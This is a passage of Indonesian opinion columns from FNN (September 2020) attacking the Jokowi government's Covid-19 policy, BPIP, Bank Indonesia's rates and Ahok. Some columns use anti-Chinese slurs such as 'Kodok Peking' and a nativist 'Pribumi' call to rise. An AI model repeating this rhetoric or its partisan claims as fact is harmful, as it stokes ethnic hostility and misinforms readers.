by Hersubeno Arief Jakarta FNN - Sabtu (19/09). Akhirnya Presiden Jokowi menurunkan Menko Marinvest Luhut B Panjaitan dalam palagan “perang” melawan Corona. Instruksinya jelas. Luhut, bersama Kepala BNPB Doni Monardo, diperintahkan menurunkan tingkat penularan Covid-19 di sembilan provinsi, termasuk DKI Jakarta. Waktu yang diberikan sangat pendek. Hanya dalam dua pekan. Jelas ini bukan tugas main-main. Mission imposible. Karena itu figur yang dipilih juga bukan figur orang atau pejabat biasa. Luhut selama ini dikenal sebagai tangan kanan dan pembantu utama Jokowi. Banyak yang menjulukinya sebagai super minister. Orang ketiga setelah Jokowi dan Wapres Ma’ruf. Bila dilihat dari peran dan kewenangannya, dia sesungguhnya jauh lebih penting dan lebih powerful dibandingkan dengan Ma’ruf. Perannya selama ini kira-kira seperti Perdana Menteri. RI-3! Tugas-tugas berat yang tidak bisa diselesaikan oleh menteri atau Menko lainnya, biasanya diserahkan ke Luhut. Sudah biasa bagi Luhut masuk ke sektor lain, di luar tugas pokok dan fungsinya sebagai Menko Marinvest. Luhut selalu menjadi andalan dan senjata pamungkas. Jadi penugasan yang disampaikan oleh Jokowi Selasa (15/9) sesungguhnya bisa dibilang sangat terlambat. Kok Luhut baru diturunkan setelah 10 bulan, atau setidaknya 6 bulan setelah Covid-19 membuat babak belur pemerintahan Jokowi. Dengan background Luhut, kita tidak perlu bahkan tidak boleh bertanya-tanya. Mengapa Luhut yang diturunkan. Kalau mau dicari-cari hubungannya, sebagai Menko Maritim dan Investasi, jelas posisi Luhut erat kaitannya dengan Covid-19. Virus ini berasal dari Cina. Dari seberang lautan (maritim). Dampaknya membuat investasi Indonesia babak belur. Covid-19 adalah masalah lautan dan investasi. Langsung Menggebrak Setelah mendapat mandat, Luhut langsung menggebrak. Bukan Covid-19 yang digebrak. Tapi lawan-lawan politik. Kritikus pemerintah. Dia minta agar tidak nyinyir. “Kami kerja kok. Kami juga punya otak, punya kekuatan dan tim yang bagus. Jadi, tidak usah merasa bahwa ini tidak bisa, Anda belum pernah dipekerjakan jadi tidak usah berkomentar kalau belum paham,” tegasnya. Gertakan model begini sangat khas Luhut. Sebagai perwira tinggi militer, etnis Batak pula, dia terbiasa bersuara keras. Bagi yang belum kenal gayanya, dijamin langsung mengkeret. Tapi apakah resep yang sama juga manjur dan bisa diterapkan ke Corona? Apakah virus made in China itu juga bakal mengkeret dan kabur setelah digertak Luhut? Dipilihnya Luhut, menunjukkan cara pikir dan pendekatan Jokowi terhadap virus tidak berubah. Dia tidak melihat masalah utama terus meningkatnya penyebaran Covid karena masalah kesehatan. Luhut berada dalam madzhab yang sama dengan Jokowi. Dia lebih khawatir ekonomi Indonesia ambyar karena Covid. Kali ini yang menjadi sasaran adalah disiplin masyarakat. Pemerintah menilai terus menyebarnya Covid-19 karena masyarakat tidak disiplin. Karena itu perlu diterapkan operasi penegakan hukum (yustisi) yang tegas. Polisi dan militer dilibatkan. Luhut sebagaimana kata seorang anggota DPR dari PDIP, lebih bisa berkoordinasi dengan para Pangdam dan Kapolda karena latar belakang militernya. Penugasan Luhut juga menunjukkan bahwa manajemen pemerintahan Jokowi benar-benar acakadut. Selalu berubah-ubah, tanpa pernah menyentuh persoalan utama. Sejak awal, jika benar Jokowi memahami bahwa masalah utama adalah kesehatan, maka seharusnya yang menjadi penanggung jawab Menkes Terawan. Kalau Menkes tidak mampu, dia tinggal diganti. Cari figur yang jauh lebih mampu, lebih memahami persoalan dibanding Terawan. Terawan hanya difungsikan sebentar, pada awal-awal pandemi bulan Maret. Karena kebijakan dan pernyataannya sering blunder, dia langsung diberangus. Tak boleh bicara. Peran itu kemudian diserahkan kepada Kepala BNPB Doni Monardo. Namun Doni lama-lama tampak frustrasi karena tidak mendapat kewenangan dan dukungan sepenuhnya. Tanggal 20 Juli peran Doni diamputasi. Posisinya diturunkan di bawah kendali Meneg BUMN Erick Thohir. Erick membawahi Satgas Pemulihan Ekonomi dan Satgas Kesehatan. Sementara Menko Perekonomian Airlangga Hartarto ditunjuk sebagai koordinatornya. Tiba-tiba saja sekarang Jokowi menunjuk Luhut dan Doni untuk menangani dan menurunkan tingkat penularan dan kematian akibat Covid-19 di sembilan provinsi. Keputusan itu mengingatkan kita pada pepatah lama “tiba masa, tiba akal.” Sebuah keputusan yang diambil secara tiba-tiba, tanpa pemikiran dan pertimbangan yang matang. Tiba-tiba saja mewanti-wanti para menterinya agar mendahulukan kesehatan. Ekonomi tidak akan berjalan bila kesehatan rakyat terganggu. Padahal sebelumnya Jokowi dengan bangga memuji sendiri kebijakannya tidak melakukan lockdown. Membuat ekonomi Indonesia lebih baik dibanding negara lain. Semua kebijakan, termasuk anggaran pemerintah, menunjukkan Jokowi lebih mengutamakan ekonomi ketimbang kesehatan. Tiba-tiba saja kita jadi kian tersadar, punya Presiden yang cara berpikir dan bertindaknya tiba-tiba. Ah seandainya saja tiba-tiba…………. End Penulis adalah Wartawan Senior FNN.co.id.

Bagi Jenderal Gatot, KAMI Tidak Punya Persneling Mundur

by Asyari Usman Jakarta FNN - Sabtu (19/09). Gatot Nurmantyo (GN) mengutip pepatah Melayu tentang ‘Sekali layar terkembang, pantang surut ke belakang.” Ini yang dikatakan oleh mantan Panglima TNI itu ketika menyampaikan orasi pada acara peresmian pengurus Koalisi Aksi Menyelamatkan Indonesia (KAMI) di Magelang, Jumat (18/9/2020). Pepatah di atas tidak main-main. Salah satu artinya adalah bahwa, bagi Pak GN, KAMI “tidak punya persneling mundur”. Secara kebetulan pula, Pak Jenderal mengucapkan ini di “kota tentara”. Di Magelang. Di sinilah, tepatnya di akademi militer Magelang, GN menjalani penempaan karakter dan mentalitas “tanpa persneling mundur” itu. Tidak ada istilah surut bagi tentara ketika langkah maju telah diayunkan. Pernyataan GN itu merupakan “stern warning” (peringatan keras). Istilah “stern warning” adalah frasa bahasa diplomasi yang terlembut ketika pihak yang mengeluarkan peringatan itu melihat situasi yang sangat berbahaya menunggu di depan. Para tokoh KAMI teleh mendeteksi dan mengidentifikasi bahaya yang mengancam Indonesia. Jenderal Gatot setuju. Ada ancaman desintegrasi bangsa. Ada ancaman terhadap eksistensi Pancasila. Bahkan, Pak Jenderal menyebutkan ada upaya dari satu kelompok besar yang ingin menghilangkan Pancasila sebagai dasar negara. Ancaman serius juga sedang terarah pada kedaulatan negara. Banyak tokoh bangsa yang merasa negara berserta sumber daya alamnya akan diserahkan kepada orang asing. Khususnya kepada China. Ini bisa terlihat dari pengistimewaan terhadap negara komunis itu. Dalam segala hal. Inilah salah satu ancaman yang nyata. Ancaman-ancaman tsb bersinergi kuat ketika negara berada di bawah kelola pemerintahan yang lemah. Di bawah pimpinan yang minus kapabilitas dan kapasitas. Segala macam ancaman itu diperparah oleh kondisi minus ekonomi. Karena itu, Pak GN menyediakan diri untuk ikut berjuang menyelamatkan Indonesia. Ketika para mantan jenderal lain memilih untuk diam, atau didiamkan dengan kenikmatan pribadi, Pak GN memilih untuk bersimbah keringat bersama para tokoh KAMI lainnya. Memilih untuk menghadapi banyak risiko ketimbang berpangku tangan. Pak GN tentu sadar betul tentang semua risiko perjuangan yang akan dihadapinya untuk menyelamatkan Indonesia. Jenderal “Tangkap Saya” ini siap menghadapi itu semua. Tentu sikap dan langkah GN membuat para penguasa sangat terganggu. Tapi, yang mengganggu bukan sembarang orang. Beliau, insyaAllah, bukan jenderal yang mudah ditipu dengan nasi goreng. Jalan KAMI bukanlah jalan orang-orang yang akan mengkhianati rakyat. Sebaliknya, KAMI akan memberikan pencerahan kepada rakyat tentang orang-orang yang sedang melakukan pengkhianatan terhadap bangsa, negara, kedaulatan, dan Pancasila. KAMI akan mengajak rakyat untuk ikut berjuang menghentikan pengkhianatan dan penzoliman. Jenderal Gatot akan tegak lurus bersama rakyat. Beliau tidak akan meluntur. Meskipun hari-hari ini para herder kekuasaan terus melengkingkan gonggongan untuk menakut-nakuti KAMI. Sebagai seorang tentara yang telah kenyang dengan intimidasi lawan tempur, kecil kemungkinan GN akan melangkah surut teratur. Apalagi beliau telah memberikan aba-aba bahwa KAMI tidak dilengkapi dengan persneling mundur. Penulis adalah Wartawan Senior FNN.co.id

BPIP Segera Dibubarkan Saja

by M. Rizal Fadillah Jakarta FNN – Sabtu (19/09). Setelah penundaan Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) maka Pemerintah mengajukan RUU Badan Pembinaan Ideologi Pancasila (BPIP). Katanya sebagai pengganti RUU HIP. Namun hingga kini taidk jelas proses pembahasan RUU mana yang akan dilakukan. Semua masih mengambang. Sementara itu umat Islam dan juga Majelis Ulama Indonesia (MUI) telah meminta, bahkan mendesak agar RUU HIP dicabut dari Pragram Legislasi Nasional (Prolegnas). Sedangkan RUU BPIP ditolak, sehingga BPIP juga sebaiknya dibubarkan saja. Tidak ada manfaatnya lagi. Hanya menghambur-hambirkan uang rakyat, ratusan miliar hingga triliun rupiah. Namun tidak jelas kerjanya apa? RUU BPIP meski disebut berbeda dengan RUU HIP, namun bila ditelaah sebenarnya substansinya masih tetap sama saja. Karenanya beralasan bahwa BPIP itu menjadi badan yang tidak diperlukan dan patut untuk segera dibubarkan. Ada enam alasan utama mengapa RUU BPIP harus ditolak, dan lembaga BPIP segera untuk dibubarkan : Pertama, RUU BPIP tidak masuk Prolegnas. Dengan demikian tidak menjadi agenda legislasi DPR RI. Bila alasannya hanya sekedar mengganti RUU HIP dengan adanya DIM dari Pemerintah, maka ini artinya Pemerintah yang mengajukan RUU jelas melanggar hukum. Adanya DIM memberi arti RUU HIP masih eksis dan tetap berlaku. Kedua, RUU BPIP menafsirkan Pancasila secara inkonsisten. Pada satu sisi, Pancasila disebut sebagai sesuai Pembukaan UUD 1945. NBamun di sisi lain, dalam konsideran a dan b mengaitkan dengan Pancasila Tanggal 1 Juni 1945. Asal-usul yang mesti dilestarikan dan dilanggengkan. Kepres Nomor 24 Tahun 2016 tentang hari lahir Pancasila dijadikan sebagai landasan. Ketiga, ketika Pancasila tanggal 1 Juni 1945 dijadikan sebagai landasan historis dan filosofis, maka Pancasila tanggal 18 Agustus 1945 menjadi tulang-belulang yang berbungkus yuridis semata. RUU BPIP nyata-nyata telah membunuh Pancasila. Dengan jiwa kelahiran Pancasila tanggal 1 Juni 1945, maka masih melekat historika Trisila dan Ekasila. Keempat, ketika RUU BPIP yang hanya bermodal landasan yuridis, maka lahirnya pun menjadi cacat. Tidak memenuhi syarat yuridis. Mestinya UU dahulu baru Perpres. Ini terjadi terbalik, Justru Perpres dahulu baru UU. Disamping itu, anehnya lembaga BPIP yang sudah ada dan berjalan baru akan dibuat payung hukum berupa UU. Serba terbalik-balik. Kelima, tidak ada jaminan BPIP untuk tidak bergeser dari "pembina" Pancasila menjadi "penafsir" tunggal Pancasila. Bahkan dengan UU, maka BPIP mendapat legalitas sebagai "satu satunya" institusi yang dapat menafsirkan dan merumuskan hal-ihwal mengenai ideologi Pancasila. Keenam, BPIP menjadi konten juga dari RUU HIP yang terdahulu. RUU yang berbau komunis. Untuk itu, RUU BPIP tidak steril dari jiwa RUU HIP. Sebab HIP adalah akar dan BPIP itu hanya cabang. Kelahiran BPIP hanya untuk memperjelas misi RUU HIP yang gagal, karena ditolak umat Islam. Pemerintah dan DPR tidak boleh membuat kedua RUU mengambang, dan terus-meneru membodohi masyarakat. Karenanya pilihan terbaik adalah batalkan kedua RUU dan segera bubarkan saja BPIP. Keamanan dan kepastian hukum adalah prioritas. BPIP akan menjadi lembaga "trouble maker" bagi bangsa dan negara Indonesia. Lembaga yang "membina", tetapi sesungguhnya "mengacak-acak" Pancasila. Teringat dahulu PKI yang menyatakan "membela" Pancasila, tetapi realitanya justru "menghianati" Pancasila. Sejarah tak boleh terulang. Ingat itu baik-baik. Penulis adalah Pemerhati Politik dan Kebangsaan.

Presiden Yang Hobinya Hipokrisi

by Dr. Marwan Batubara Jakarta FNN - Sabtu (19/09). Pembatasan Sosial Berskala Besar (PSBB) DKI Jakarta yang semula akan berlangsung ketat berujung pada PSBB kompromistis non-total. Berdasar data terpercaya, Gubernur DKI Anies Basweda dan sejumlah pakar pandemi berkesimpulan, PSBB ketat harus segera berlaku, agar transmisi Cocid-19 yang naik 25% dalam dua minggu pertama September 2020 dapat ditekan. Anies bertambah confident menerapkan PSBB total karena yakin dengan sikap Presiden Jokowi yang menguatamakan kesehatan dibanding ekonomi. "Kesehatan yang baik akan menjadikan ekonomi kita baik. Artinya fokus kita tetap nomor satu adalah kesehatan," kata Jokowi di Istana Negara (7/9/2020). Tweets Presiden Jokowi “agar ekonomi kita baik, kesehatan harus baik. Ini artinya, fokus utama pemerintah dalam penanganan pandemi corona adalah kesehatan, dan keselamatan masyarakat. Jangan sampai urusan kesehatan ini belum tertangani dengan baik, namun kita sudah merestart ekonomi. Masalah kesehatan harus tetap nomor satu". Ternyata rencana Anies diprotes sejumlah menteri Jokowi. Menurut Menko Perekonomian Airlangga Hartarto rencana PSBB Anies menjadi penyebab turunnya Indeks Harga Saham Gabungan (IHSG) di Bursa Efek Indonesia (BEI). Menteri Perdagangan Agus Suparmanto bilang PSBB Jakarta menghalangi distribusi logistik yang bisa menghancurkan PDB. Sedangkan Menteri Perindustrian Agus G. Kartasasmita sebut PSBB dapat menghancurkan industri manufaktur yang tengah menggeliat. Sikap ketiga menteri yang pro ekonomi itu, ternyata dibiarkan saja oleh Presiden Jokowi. Karena pada dasarnya itulah sikap asli Presiden. Terbukti, tiga hari berselang, Presiden Jokowi mengatakan agar kepala daerah berhati-hati dalam menetapkan PSBB. Katanya, banyak aspek terkait, misalnya kondisi sosial dan ekonomi yang bisa terdampak akibat PSBB. Pembatasan Sosial Berskala Mikro (PSBM) atau komunitas lebih efektif diterapkan untuk disiplin protokol kesehatan dibanding PSBB total. Akibatnya, publik bertanya-tanya, mengapa Presiden cepat berubah? Presiden inkonsisten? Padahal, jika punya ingatan kuat, mereka tidak perlu banyak tanya. Selama ini memang demikian sikap kepala negara kita. Inkonsisten, lain kata dengan perbuatan atau hipokrit. Rakyat harusnya sudah terlatih untuk tidak lagi terkecoh akibat sudah seringnya hipokrisi Presiden terjadi. Terlepas dari itu, kita berharap semoga saja angka positif korona menurun. Hipokrisi terkait kororna itu pernah sekitar April-Mei 2020. Pemerintah pernah mengizinkan moda transportasi umum untuk beroperasi. Padahal sebelumnya dilarang, karena berhubungan dengan zona merah. Mudik dilarang, tetapi pulang kampung boleh. Begitu juga penerbangan domestik dilarang, tetapi penerbangan internasional dibolehkan. Kedatangan orang asing dilarang, tetapi Tenaga Kerja Asing dari Cina boleh masuk. Ujungnya, angka positif korona terus meningkat. Sekarang baru nyaho kan? Terkait pemberantasan korupsi, Jokowi bilang akan konsisten memberantas korupsi. Sikap ini sesuai janji kampanye Pilpres-2014 dan Pilpres-2019. Namun pada sisi hipokritnya, revisi UU KPK justru didukung. Akibatnya wewenang KPK diberangus, maka para terduga koruptor kakap lolos jerat hukum. Upaya pemberantasan korupsi justru mengalami langkah mundur. Ujung-ujungnya, korupsi semakin merajalela.Lihat saja yang terjadi pada kasus-kasus korupsi Jiwasraya, Asabri, Meikarta, dan Djoko Tjandara. Beginilah Presiden kita ini. Pagi tempe, namun sore sudah dele lagi. Pada 29 Mei 2017, Jokowi dengan heroik mengatakan, "Pancasila itu jiwa dan raga kita. Perekat keutuhan bangsa dan negara. Saya Jokowi, saya Indonesia, saya Pancasila". Ternyata pernyataan tersebut hanya slogan kosong. Lagi-lagi Presiden bersikap hipokrit. Lihat saja sila ke-5 Pancasila yang mengamanatkan keadilan sosial atas sumber daya alam milik negara bagi kemakmuran rakyat. Perintah konstitusi ini sesuai Pasal 33 UUD 1945. Namun justru dikangkangi dengan disahkannya UU Minerba Nomor 3 Tahun 2020. Perampokan dan dominasi kelompok oligarkis, korporasi dan konglomerasi atas SDA rakyat akan terus berlanjut. Pancasila mengandung ajaran moral dan musyawarah. UUD 1945 menjadi dasar perumusan Indonesia sebagai negara hukum, persamaan warga negara di depan hukum dan tidak adanya tempat bagi pemerintahan yang otoriter. Ternyata Perppu Nomor 1 atau UU Nomor 2/2020 tentang Korona justru mengangkangi dasar negara dan amanat konstitusi. Pemerintahan Jokowi justru memberangus hak budget rakyat melalui DPR (lihat Pasal 2 UU Nomor 2/2020). Begitu juga eksekutif mendapat status kebal hukum (lihat Pasal 27), dan semakin otoriter dengan dieliminasinya sejumlah ketentuan dalam 12 UU yang berlaku (Pasal 28). Pasal 28 UU Korona Nomor 2/2020 dengan sadis menghapus berbagai UU yang disusun sebagai amanat reformasi, yakni UU Nomor 23/1999 tentang Bank Indonesia, UU Nomor 24/2004 tentang Lembaga Penjamin Simpanan (LPS), UU Nomor 21/2011 tentang Otoritas Jasa Keuangan (OJK) dan UU Nomor 9/2016 tentang Pencegahan dan Penanganan Krisis Sistem Keuangan (PPKSK). Semua UU ini dipersiapkan sebagai payung hukum dalam rangka mencegah perampokan uang rakyat oleh para taipan dan konglomerat seperti terjadi pada megaskandal BLBI dan Obligasi Rekapitalisasi. Megskandal BLBI ini mewariskan utang Rp 645 triliun bagi rakyat. Lalu, Pancasila mana yang dimaksud Jokowi? Inilah bukti lain tentang sikap hipokrit itu Saat menyambut kemenangan sengketa Pilpres 2019 setelah Putusan Mahkamah Konstitusi (27/6/2020), Jokowi mengajak seluruh rakyat Indonesia untuk bersatu kembali. Bersama-sama membangun Indonesia. Katanya, tidak ada lagi 01 dan 02. Yang ada hanyalah persatuan Indonesia. Disampaikan, presiden dan wakil presiden terpilih adalah presiden dan wakil presiden bagi seluruh anak bangsa. Untuk seluruh rakyat Indonesia. Ternyata “pidato” rekonsiliasi tersebut hanya basa-basi bernuansa hipokrit. Sambil terus memainkan isu-isu radikalisme, intoleran, anti kebinnekaan dan anti Pancasila, anak bangsa terus dibelah dan terbelah. Bahkan pemerintah Saudi Arabia pun “dipengaruhi” untuk mencegah kepulangan Habib Rizieq Shihab (HRS) ke Indonesia. HRS dicegah keluar Arab Saudi atas permintaan “satu pihak” dari Indonesia. Saat yang sama, sejumlah Menko dan petinggi Tim Kampanye Nasional (TKN) Jokowi-Ma’ruf ramai-ramai menyuarakan HRS pergi atas keinginan sendiri. Masih terjerat banyak kasus. Melanggar aturan overstay, dan terkena denda. Jokowi yang mengaku Presiden seluruh rakyat dan ingin rekonsiliasi. Namun terbukti diam saja terhadap fitnah dan manipulasi tentang kasus HRS yang disuarakan para Menko dan TKN. Terus dihalanginya kepulangan HRS hingga saat ini, sebagai sandiwara dan sikap hipokrit pemerintah yang memang nyata adanya. Sikap yang ironis dan memalukan. Gara-gara pandemi Covid-19, masyarakat global mengenal istilah baru yaitu new normal. Tatanan, kebiasaan dan perilaku hidup baru berbasis pada adaptasi untuk membudayakan perilaku hidup bersih dan sehat. Agar dapat bertahan hidup, masyarakat bangsa-bangsa di dunia perlu menyesuaikan diri dengan budaya hidup baru. Kenormalan baru, terutama dalam bidang kesehatan, sosial dan ekonomi. Sebelum Covid-19 mewabah, di bawah kepemimipinan Presiden Jokowi, sebagian rakyat Indonesia telah hidup dalam suasana pelanggaran norma moral dan hukum. Kondisi ini berlangsung rutin. Berulang dan semakin menjadi-jadi dalam berbagai aspek kehidupan. Perlahan, sebagian rakyat telah beradaptasi, sehingga kondisi ini menjelma menjadi kebiasaan berbangsa dan bernegara yang baru, new normal. Bangsa ini digiring untuk biasa hidup di tengah pemerintahan yang semakin otoriter, inkonstitusional, inkonsisten atau hipokrit. Anda-anda para tokoh, aktivis, cerdik-pandai, kaum terdidik, pemimpin partai dan para mahasiswa hanya pasrah menunggu nasib? Penulis adalah Deklarator Koalisi Aksi Menyelamatkan Indonesia (KAMI).

BI Rate Bisa Rugikan Rakyat Rp 250 Triliun/Tahun

by Anthony Budiawan Jakarta FNN – Sabtu (19/09). Rapat Dewan Gubernur (RDG) Bank Indonesia (BI) tanggaL 16 dan 17 September 2020 akhirnya memutuskan untuk mempertahankan suku bunga acuan (BI rate) 4 persen. Salah satu alasannya untuk “mempertimbangkan perlunya menjaga stabilitas nilai tukar rupiah di tengah inflasi yang diperkirakan tetap rendah”. Padahal, suku bunga acuan 4 persen itu sudah termasuk tinggi. Bisa menghambat pemulihan ekonomi nasional. Karena kebijakan moneter yang seharusnya dilakukan di tengah resesi ekonomi adalah menurunkan suku bunga acuan dan suku bunga kredit. Tujuannya untuk membangkitkan permintaan, konsumsi dan investasi. Juga untuk membangkitkan ekonomi nasional. Alasan BI mempertahankan suku bunga acuan 4 persen sangat aneh. Malah ajaib. Sebab inflasi yang diperkirakan rendah, tetapi suku bunga tidak diturunkan. Karena mau menjaga stabilitas nilai tukar? Artinya, kebijakan moneter Bank Indonesia sekarang ini lebih mengutamakan dan menjaga “stabilitas” rupiah, dari pada upaya pemulihan ekonomi. Padahal, pemulihan ekonomi sangat penting, karena dibutuhkan oleh rakyat. Pemulihan ekonomi misalnya, dapat menciptakan sebanyak mungkin lapangan kerja baru. Juga dapat mengurangi kemiskinan. Sedangkan stabilitas rupiah untuk kepentingan siapa? Kebijakan moneter BI memang sangat dilematis. Kalau BI menurunkan suku bunga, maka pemulihan ekonomi akan lebih cepat terealisasi. Dan kebijakan penurunan suku bunga ini yang diharapkan rakyat. Kebijakan yang memang berpihak pada kepentingan rakyat. Dilematis, karena penurunan suku bunga acuan akan diikuti penurunan suku bunga kredit, termasuk suku bunga obligasi dan Surat Berharga Negara (SBN). Penurunan suku bunga SBN bisa membuat investor menarik diri. Khususnya investor asing. SBN menjadi kurang diminati. Investor asing mungkin lebih memilih obligasi negara lain. Misalnya Vietnam, Thailand, Singapore, atau Malaysia. Hengkangnya investor asing membuat supply dolar (mata uang asing) ke Indonesia turun. Ada tiga kelompok kebutuhan dolar dari Indonesia. Pertama, kebutuhan untuk membiayai defisit transaksi berjalan. Kedua, Kebutuhan untuk membayar utang luar negeri (pemerintah dan swasta) yang jatuh tempo. Ketiga, kebutuhan untuk membayar utang luar negeri (pemerintah dan swasta) yang belum jatuh tempo, tetapi dicairkan investor bersangkutan melalui pasar obligasi. Defisit transaksi berjalan tahun 2019 sekitar U$ 30 miliar dolar. Defisit ini turun di masa pandemi 2020. Karena impor turun tajam. Kondisi ini membuat neraca perdagangan mengalami surplus yang cukup besar. Defisit transaksi berjalan pada Semester I/2020 U$ 6,6 miliar dolar. Kalau defisit ini berlanjut di semester II/2020, maka kebutuhan dolar hingga akhir tahun diperkirakan minimal U$ 5 miliar dolar. Total Utang Luar Negeri (ULN) pada 31 Desember 2019 yang akan jatuh tempo pada tahun 2020 U$ 63,3 miliar dolar. Terdiri dari utang pemerintah (dan Bank Indonesia) U$ 11,25 miliar dolar, dan utang swasta (termasuk BUMN) U$ 52,06 miliar dolar. Jumlah ini belum termasuk pembayaran bunga. Kelompok ketiga lebih berbahaya karena tidak terukur. Ketika asing tidak tertarik lagi memberi pinjaman ke Indonesia, misalnya karena suku bunga dianggap rendah, dan asing menjual obligasinya, maka kurs rupiah mengalami tekanan dan akan anjlok. Seperti terjadi pada akhir Maret 2020 lalu, dimana kurs rupiah di pasar spot sempat mencapai Rp17.000 per dolar Amerika. Untuk menjaga agar investor terus tertarik memberi pinjaman ke Indonesia, dan untuk menutupi kebutuhan dolar yang membesar tersebut, maka Bank Indonesia harus mempertahankan suku bunga yang tinggi. Tragisnya, kebijakan Bank Indonesia ini akan membuat ekonomi tidak bergerak. Selain itu, hanya menguntungkan investor luar negeri. Dilematis, karena suku bunga tinggi akan menghambat pemulihan ekonomi nasional. Juga merugikan perusahaan dan nasabah perorangan yang mempunyai pinjaman dalam rupiah. Total kredit dalam rupiah mencapai Rp 5.000 triliun lebih, termasuk perusahaan pembiayaan. Dari jumlah total kredir tersebut, kredit konsumsi mencapai Rp 1.600 triliun. Kelompok peminjam rupiah ini sangat dirugikan dengan kebijakan moneter yang mempertahankan suku bunga tinggi. Sebab notabene hanya untuk menguntungkan investor asing. Setiap penurunan 1 persen bunga kredit, akan memberi tambahan likuiditas Rp 50 triliun per tahun kepada kelompok peminjam rupiah. Penurunan bunga kredit yang ideal dan seharusnya di masa resesi seperti ini bisa mencapai 5 persen dibandingkan bunga kredit yang berlaku sekarang. Sehingga potensi kerugian masyarakat mencapai Rp 250 triliun per tahun. Kerugian mempertahankan suku bunga acuan jauh melampaui bantuan stimulus fiskal. Sehingga, menghambat pemulihan ekonomi nasional. Kebijakan moneter saat ini tersandera dengan kondisi ekonomi yang lemah. Defisit transaksi berjalan yang akut dan ULN yang besar. Bank Indonesia lebih memilih mempertahankan stabilitas rupiah yang menguntungkan investor asing. Juga merugikan masyarakat. Sebab meskipun kebijakan ini berpotensi menghambat pemulihan ekonomi nasional serta merugikan peminjam dalam rupiah di dalam negeri. Penulis adalah Managing Director Political Economy and Policy Studies (PEPS).

Kodok Peking Yang Mulut Comberan

by M Rizal Fadillah Jakarta FNN – Sabtu (19/09). Mantan narapidana kasus penista Agama Ahok tidak berubah. Dia masih asal ngomong (asmong). Ngomong asal tanpa kendali. Bahaaa kerennya Ahok “asal negbacot”. Kata Ahok, “kalau saya Dirut Pertamina, kadrun demo mau bikin gaduh". Kadrun adalah panggilan untuk "kadal gurun" yang mengarah kepada umat Islam. Atau konteks Ahok mungkin saja peserta aksi demonstrasi 411 dan 212 yang telah berhasil "memenjarakan" Ahok, dan membrikan label “penista Agama”. Kadrun dinilai sebagai panggilan yang rasialis Ahok. Mereka yang biasa menjuluki kadrun adalah para Kodok Peking (Doking). Mereka itu pengabdi negara Cina di Indonesia. Meraka juga Islamophobis, serta agen yang hanya bisa berlindung di ketiak kekuasaan. Sebenarnya Ahok tak pantas menjadi pejabat apapun di negeri ini. Disamping kinerjanya yang memang sangat buruk, juga ngomongnya gede selangit. Ngebacotnya itu yang terlalu ketinggian. Ahok sulit untuk bisa memperbaiki karakter sompral bawaannya. Akibatnya, Ahok suka menciptakan kegaduhan di masyarakat. Karakter bawaan yang sangat tidak pantas dan layah untuk menyandang jabatan sekelas Komisaris Utama Pertamina. Komisaris Utama kok membongkar dapur Pertamina sendiri? Bukan itu saja. Malah menyeret-nyeret Menteri segala. Ahok memang sok jago, sok kuasa, dan sok paling bersih. Peran Komisaris itu bukan marah-marah atau berkeluh kesah. Bukan juga membongkar dapur sendiri Yang utama dan mesti dilakukan Ahok adalah membenahi dengan membuat langkah konkrit sesuai kewenangan sebagai Komisaris Utama Pertamkina. Apalagi cuma bisa teriak-teriak bahwa kadrun kadrunan dengan rasa yang penuh sentimen. Mau ngomong bersih bersih. Padahal orang juga sudah tahu kalau sapunya “kagak bersih”. Bahkan sangat kotor sapunya. Gaji gede, namun prestasi kerja tidak jelas dan kabur. Orang yang buruk track record begini bisa ditempatkan di Pertamina, Komisaris Utama lagi? Yang menempatkan Ahok sebagai Komisaris Utama Pertamina kemungkinan juga sudah mati rasa. Sikap masyarakat yang sangat keras menolak Ahok dengan berprilaku buruk, sudah tidak lagi diiandahkan pemerintah. Pemerintah menutup mata saja dengan semua prilaku Ahok. Tahun 2020, Pertamina mengalami kerugian sampai Rp 11,3 triliun. Kerugian itu terjadi pada saat Pertamina di bawah kendalinya Ahok. Padahal sebelumnya Ahok sesumbar kepada publik, “kalau Pertamina itu tidur saja masih bisa untung”. Faktanya Pertamina mengalami kerugian besar. Padahal keuntungan yang didapat Pertamina dari hasil memeras rakyat, melalui penjualan Bahan Bakar Minyak (BBM) sekitar Rp 60 triliun rupiah. Pemerasan dilakukan Pertamina sejak awal tahun sampai sekarang. Semua negara tentangga seperti Malaysia, Thailand, Philipina dan Vietnam sudah menunrunkan harga jual BBM di dalam negeri. Namun tidak untuk Pertamina Kalau sudah begini kondisinya, Presiden Jokowi juga harus ikut bertanggungjawab. Karena Ahok adalah kroni terdekat Presiden Jokowi. Publik sudah sangat mengetahui dan faham soal kedekatan Ahok dengan Presiden Jokowi tersebut. Tanpa campur tangan Presiden Jokowi, tidak bakalan Ahok menjadi Komisaris Utama Pertamina. Para doking si Kodok Peking selalu menyebut pihak yang kritis pada kebijakan pemerintah sebagai kadrun. Mereka bisa buzzer, bisa pula influencer. Seperti Kodok Peking asli yang melompat sana sini. Mereka mencari makan dari semak semak ke semak lain. Bersuara pun berisik melulu. Wahai para Kodok Peking, jangan lecehkan umat. Kalian telah banyak menikmati hasil tanah dan air bangsa ini. Menguras dan menguasai. Saatnya untuk lebih tahu diri dan berterimakasih. Bukan dengan petantang petenteng sok kaya dan sok kuasa. Pribumi telah lama disakiti. Kini saatnya bangkit. Penulis adalah Pemerhati Politik dan Kebangsaan.

Perlukah Pam Swakarsa?

by Anton Permana Jakarta FNN – Sabtu (19/09). Dikeluarkannya Peraturan Kapolri nomor 4 Tahun 2020 tentang Pam Swakarsa ini cukup menarik perhatian publik. Karena, dalam memori publik istilah "Pam Swakarsa" adalah pasukan era orde baru yang dibentuk dengan tujuan 'insurgency' (pertahanan negara) bagian dari tugas-tugas TNI AD. Sementara itu, di masa awal reformasi sempat menjadi sasaran pro dan kontra tentang keberadaan Pam Swakarsa. Yang pro mengatakan, pasukan Pam Swakarsa ini adalah strategi pembinaan teritorial ABRI (TNI hari ini) pada penggalangan masyarakat sipil. Ketika itu, dalam menggalang partisipasi rakyat untuk menangkal upaya mobilisasi masyarakat, khususnya mahasiswa. Ketika itu, mahasiswa ditenggarai sudah diboncengi "gerakan kiri ekstrim" ( PKI dan simpatisannya) untuk menggulingkan pemerintah. Artinya, membuat pasukan sipil untuk menghadapi sipil. Dan ini murni konsep perperangan anti gerilya dalam dimensi pertahanan. Atau dalam istilah Wikipedia, kelompok sipil bersenjata tajam yang dibentuk ABRI yang menolak Sidang Istimewa (SI) MPR. Karena image ABRI saat itu memerlukan kekuatan pendukung untuk menangkal isu pelanggaran HAM. Bagi yang kontra, Pam Swakarsa ini dianggap melanggar 